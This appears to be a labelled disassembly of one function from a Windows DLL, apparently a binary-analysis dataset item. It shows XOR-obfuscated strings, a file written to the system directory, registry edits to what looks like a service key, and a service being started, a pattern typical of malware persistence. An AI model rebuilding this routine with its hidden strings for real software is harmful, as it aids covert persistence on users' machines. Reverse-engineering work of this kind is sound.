Function at 0x100029f0
Capabilities:
Delete registry value
Encode data using xor
Get common file path
Query service status
Set registry value
Start service
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10028466
mov eax, dword fs:[0]
push eax
sub esp, 0x450
mov eax, dword [0x10036008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x21c], ebx
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x218]
push 0x208
push 0
push eax
mov dword [ebp - 0x408], esi
call fcn.10010ba0
add esp, 0xc
lea eax, [ebp - 0x218]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x90
lea eax, [ebp - 0x2d0]
push 0
push eax
call fcn.10010ba0
lea eax, [ebp - 0x2c4]
mov dword [ebp - 0x2cc], 0
mov dword [ebp - 0x2d0], eax
add esp, 0xc
xor eax, eax
mov dword [ebp - 0x2c8], 0
mov word [ebp - 0x2c4], ax
mov dword [ebp - 4], eax
xor ecx, ecx
mov dword [ebp - 0x234], 9
mov dword [ebp - 0x230], 0xf700a6
mov dword [ebp - 0x22c], 0xa300d9
mov dword [ebp - 0x228], 0xa600f4
mov dword [ebp - 0x224], 0xe600ed
mov dword [ebp - 0x220], 0x8c00e7
nop word [eax + eax]
lea eax, [ecx + 0x83]
xor word [ebp + ecx*2 - 0x230], ax
inc ecx
mov eax, dword [ebp - 0x234]
cmp ecx, eax
jb 0x10002ae0
xor ecx, ecx
mov word [ebp + eax*2 - 0x230], cx
lea eax, [ebp - 0x218]
push esi
push eax
lea eax, [ebp - 0x230]
push eax
lea eax, [ebp - 0x2d0]
push eax
call fcn.1000e4a0
add esp, 0x10
mov dword [ebp - 0x40c], 0
cmp dword [ebx + 0x24], 0
mov dword [ebp - 0x404], 0
je 0x10002b58
mov eax, dword [ebx + 0x100]
mov dword [ebp - 0x40c], 1
test eax, eax
je 0x10002b58
lea ecx, [ebp - 0x404]
push ecx
call eax
cmp dword [ebx + 0xe4], 0x10
lea esi, [ebx + 0xd0]
jb 0x10002b69
mov esi, dword [esi]
mov edi, dword [ebx + 0xe0]
test esi, esi
je 0x100031cc
mov eax, dword [ebp - 0x2d0]
test eax, eax
je 0x100031d2
push 0
push 0x80
push 2
push 0
push 1
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x220], eax
cmp eax, 0xffffffff
je 0x100031cc
mov dword [ebp - 0x400], 0
mov ebx, eax
nop dword [eax]
push 0
lea eax, [ebp - 0x400]
push eax
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
add esi, dword [ebp - 0x400]
sub edi, dword [ebp - 0x400]
jne 0x10002bc0
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [ebp - 0x21c]
cmp dword [ebx + 0x24], edi
je 0x10002c04
mov eax, dword [ebx + 0x104]
test eax, eax
je 0x10002c04
push dword [ebp - 0x404]
call eax
push dword [ebp - 0x40c]
mov esi, dword [ebp - 0x408]
mov edx, esi
mov ecx, dword [ebp - 0x2d0]
sub esp, 0xc
push esi
call fcn.1000e830
push 0x90
lea eax, [ebp - 0x360]
push 0
push eax
call fcn.10010ba0
lea eax, [ebp - 0x354]
mov dword [ebp - 0x35c], 0
mov dword [ebp - 0x360], eax
add esp, 0x20
xor eax, eax
mov dword [ebp - 0x358], 0
mov word [ebp - 0x354], ax
mov byte [ebp - 4], 1
mov eax, 0x24
mov dword [ebp - 0x45c], eax
xor ecx, ecx
mov dword [ebp - 0x458], 0xdd00d0
mov dword [ebp - 0x454], 0xd200d6
mov dword [ebp - 0x450], 0xc500c2
mov dword [ebp - 0x44c], 0xc900d5
mov dword [ebp - 0x448], 0xfe00fe
mov dword [ebp - 0x444], 0xeb00ff
mov dword [ebp - 0x440], 0xe400e1
mov dword [ebp - 0x43c], 0xfd00d2
mov dword [ebp - 0x438], 0xe000fd
mov dword [ebp - 0x434], 0xf900e7
mov dword [ebp - 0x430], 0xcb00fb
mov dword [ebp - 0x42c], 0xee00fc
mov dword [ebp - 0x428], 0xcf00c7
mov dword [ebp - 0x424], 0xec00f8
mov dword [ebp - 0x420], 0xc900e9
mov dword [ebp - 0x41c], 0xc700c2
mov dword [ebp - 0x418], 0xf800d0
mov dword [ebp - 0x414], 0xd50080
mov dword [ebp - 0x410], 0xa7
nop
lea eax, [ecx + 0x83]
xor word [ebp + ecx*2 - 0x458], ax
inc ecx
mov eax, dword [ebp - 0x45c]
cmp ecx, eax
jb 0x10002d30
xor ecx, ecx
mov word [ebp + eax*2 - 0x458], cx
lea eax, [ebp - 0x458]
push esi
push eax
lea eax, [ebp - 0x360]
push eax
call fcn.1000e4a0
push 0x9c
lea eax, [ebp - 0x3fc]
push 0
push eax
call fcn.10010ba0
lea eax, [ebp - 0x3e4]
mov dword [ebp - method.TOOLS::RegistryKey.virtual_0], vtable.TOOLS::RegistryKey.0
mov dword [ebp - 0x3f0], eax
xor eax, eax
mov dword [ebp - 0x3ec], 0
mov dword [ebp - 0x3e8], 0
mov word [ebp - 0x3e4], ax
add esp, 0x10
mov byte [ebp - 4], 2
push dword [ebp - 0x360]
push ecx
lea ecx, [ebp - 0x3fc]
call fcn.1000ec50
cmp dword [ebp - 0x3f8], 0
je 0x10002f31
mov dword [ebp - 0x224], 1
xor ecx, ecx
mov dword [ebp - 0x220], 0x8400f1
nop dword [eax]
lea eax, [ecx + 0x83]
xor word [ebp + ecx*2 - 0x220], ax
inc ecx
mov eax, dword [ebp - 0x224]
cmp ecx, eax
jb 0x10002df0
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
xor ecx, ecx
mov word [ebp + eax*2 - 0x220], cx
mov edx, dword [ebp - 0x3f8]
mov esi, dword [ebx + 0x28]
test edx, edx
je 0x10002e5b
mov ecx, esi
lea eax, [ecx + 2]
mov dword [ebp - 0x21c], eax
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10002e31
sub ecx, dword [ebp - 0x21c]
sar ecx, 1
lea eax, [ecx*2 + 2]
push eax
push esi
push 1
push 0
lea eax, [ebp - 0x220]
push eax
push edx
call edi
mov dword [ebp - 0x224], 1
xor ecx, ecx
mov dword [ebp - 0x220], 0x8400e0
lea eax, [ecx + 0x83]
xor word [ebp + ecx*2 - 0x220], ax
inc ecx
mov eax, dword [ebp - 0x224]
cmp ecx, eax
jb 0x10002e71
xor ecx, ecx
mov word [ebp + eax*2 - 0x220], cx
mov eax, dword [ebx + 0x20]
mov dword [ebp - 0x21c], eax
mov eax, dword [ebp - 0x3f8]
test eax, eax
je 0x10002ebe
push 4
lea ecx, [ebp - 0x21c]
push ecx
push 4
push 0
lea ecx, [ebp - 0x220]
push ecx
push eax
call edi
cmp dword [ebx + 0x24], 0
je 0x10002f2b
mov dword [ebp - 0x22c], 5
xor ecx, ecx
mov dword [ebp - 0x228], 0xcb00d4
mov dword [ebp - 0x224], 0xb000d2
mov dword [ebp - 0x220], 0x8800b3
nop
lea eax, [ecx + 0x83]
xor word [ebp + ecx*2 - 0x228], ax
inc ecx
mov eax, dword [ebp - 0x22c]
cmp ecx, eax
jb 0x10002ef0
xor ecx, ecx
mov word [ebp + eax*2 - 0x228], cx
mov eax, dword [ebp - 0x3f8]
test eax, eax
je 0x10002f2b
lea ecx, [ebp - 0x228]
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov esi, dword [ebp - 0x408]
push 0xf003f
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
test edi, edi
jne 0x10002f4e
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x10002fc5
push 0xf01ff
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
test esi, esi
jne 0x10002f70
call dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x10002fc5
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x10002f87
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x10002fb1
lea eax, [ebp - 0x21c]
push eax
push 0x24
lea eax, [ebp - 0x240]
push eax
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
jne 0x10002fac
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x10002fb1
mov ebx, 1
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
test ebx, ebx
jne 0x10003085
lea ecx, [ebp - 0x3fc]
call fcn.1000ebe0
mov eax, dword [ebp - 0x360]
lea ecx, [ebp - 0x354]
cmp eax, ecx
je 0x10002ff5
push eax
call fcn.10016113
lea eax, [ebp - 0x354]
add esp, 4
mov dword [ebp - 0x360], eax
mov eax, dword [ebp - 0x35c]
test eax, eax
je 0x10003012
push eax
call fcn.10016113
add esp, 4
mov dword [ebp - 0x35c], 0
mov eax, dword [ebp - 0x358]
test eax, eax
je 0x1000302f
push eax
call fcn.10016113
add esp, 4
mov dword [ebp - 0x358], 0
mov eax, dword [ebp - 0x2d0]
lea ecx, [ebp - 0x2c4]
cmp eax, ecx
je 0x10003054
push eax
call fcn.10016113
lea eax, [ebp - 0x2c4]
add esp, 4
mov dword [ebp - 0x2d0], eax
mov eax, dword [ebp - 0x2cc]
test eax, eax
je 0x10003071
push eax
call fcn.10016113
add esp, 4
mov dword [ebp - 0x2cc], 0
mov ecx, dword [ebp - 0x2c8]
test ecx, ecx
je 0x10003221
push ecx
jmp 0x10003219
mov eax, dword [ebp - 0x3f8]
mov dword [ebp - method.TOOLS::RegistryKey.virtual_0], vtable.TOOLS::RegistryKey.0
test eax, eax
je 0x100030b2
cmp eax, dword [ebp - 0x3f4]
je 0x100030a8
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x3f8], 0
mov eax, dword [ebp - 0x3f0]
lea ecx, [ebp - 0x3e4]
cmp eax, ecx
je 0x100030d7
push eax
call fcn.10016113
lea eax, [ebp - 0x3e4]
add esp, 4
mov dword [ebp - 0x3f0], eax
mov eax, dword [ebp - 0x3ec]
test eax, eax
je 0x100030f4
push eax
call fcn.10016113
add esp, 4
mov dword [ebp - 0x3ec], 0
mov eax, dword [ebp - 0x3e8]
test eax, eax
je 0x10003111
push eax
call fcn.10016113
add esp, 4
mov dword [ebp - 0x3e8], 0
mov eax, dword [ebp - 0x360]
lea ecx, [ebp - 0x354]
cmp eax, ecx
je 0x10003136
push eax
call fcn.10016113
lea eax, [ebp - 0x354]
add esp, 4
mov dword [ebp - 0x360], eax
mov eax, dword [ebp - 0x35c]
test eax, eax
je 0x10003153
push eax
call fcn.10016113
add esp, 4
mov dword [ebp - 0x35c], 0
mov eax, dword [ebp - 0x358]
test eax, eax
je 0x10003170
push eax
call fcn.10016113
add esp, 4
mov dword [ebp - 0x358], 0
mov eax, dword [ebp - 0x2d0]
lea ecx, [ebp - 0x2c4]
cmp eax, ecx
je 0x10003195
push eax
call fcn.10016113
lea eax, [ebp - 0x2c4]
add esp, 4
mov dword [ebp - 0x2d0], eax
mov eax, dword [ebp - 0x2cc]
test eax, eax
je 0x100031b2
push eax
call fcn.10016113
add esp, 4
mov dword [ebp - 0x2cc], 0
mov ecx, dword [ebp - 0x2c8]
test ecx, ecx
je 0x100031c5
push ecx
call fcn.10016113
add esp, 4
mov eax, 1
jmp 0x10003223
mov eax, dword [ebp - 0x2d0]
lea ecx, [ebp - 0x2c4]
cmp eax, ecx
je 0x100031f1
push eax
call fcn.10016113
lea eax, [ebp - 0x2c4]
add esp, 4
mov dword [ebp - 0x2d0], eax
mov eax, dword [ebp - 0x2cc]
test eax, eax
je 0x1000320e
push eax
call fcn.10016113
add esp, 4
mov dword [ebp - 0x2cc], 0
mov eax, dword [ebp - 0x2c8]
test eax, eax
je 0x10003221
push eax
call fcn.10016113
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000f18c
mov esp, ebp
pop ebp
ret 4